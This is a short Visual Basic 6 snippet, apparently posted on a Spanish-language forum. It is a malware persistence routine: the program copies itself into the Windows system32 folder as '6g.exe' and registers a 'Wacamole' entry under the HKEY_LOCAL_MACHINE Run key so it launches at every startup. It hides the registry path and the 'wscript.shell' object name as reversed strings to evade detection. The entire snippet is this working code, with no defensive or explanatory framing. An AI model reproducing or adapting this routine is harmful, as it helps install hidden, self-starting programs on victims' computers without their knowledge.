Código: Seleccionar todo

    Dim Archeveto As String
    Dim ramasaI As String, datoI As String, ik4faws As String, fiiiifr3 As String
    Dim ObjetoxI

    ik4faws = "nuR\noisreVtnerruC"
    fiiiifr3 = "ENIHCAM_LACOL_YEKH"

    Archeveto = Environ("windir") & "\system32\6g.exe"
   
    If Dir(Archeveto, vbArchive) = "" Then
    Dim Copiado As Boolean
    Copiado = APIFileCopy(App.Path & "\" & App.EXEName & ".exe", Environ("windir") & "\system32\6g.exe")
    End If
    
    ramasaI = StrReverse("elomacaW\" & ik4faws & "\swodniW\tfosorciM\erawtfoS\" & fiiiifr3)
    datoI = Archeveto
    Set ObjetoxI = CreateObject(StrReverse("llehs.tpircsw"))
    ObjetoxI.regwrite ramasaI, datoI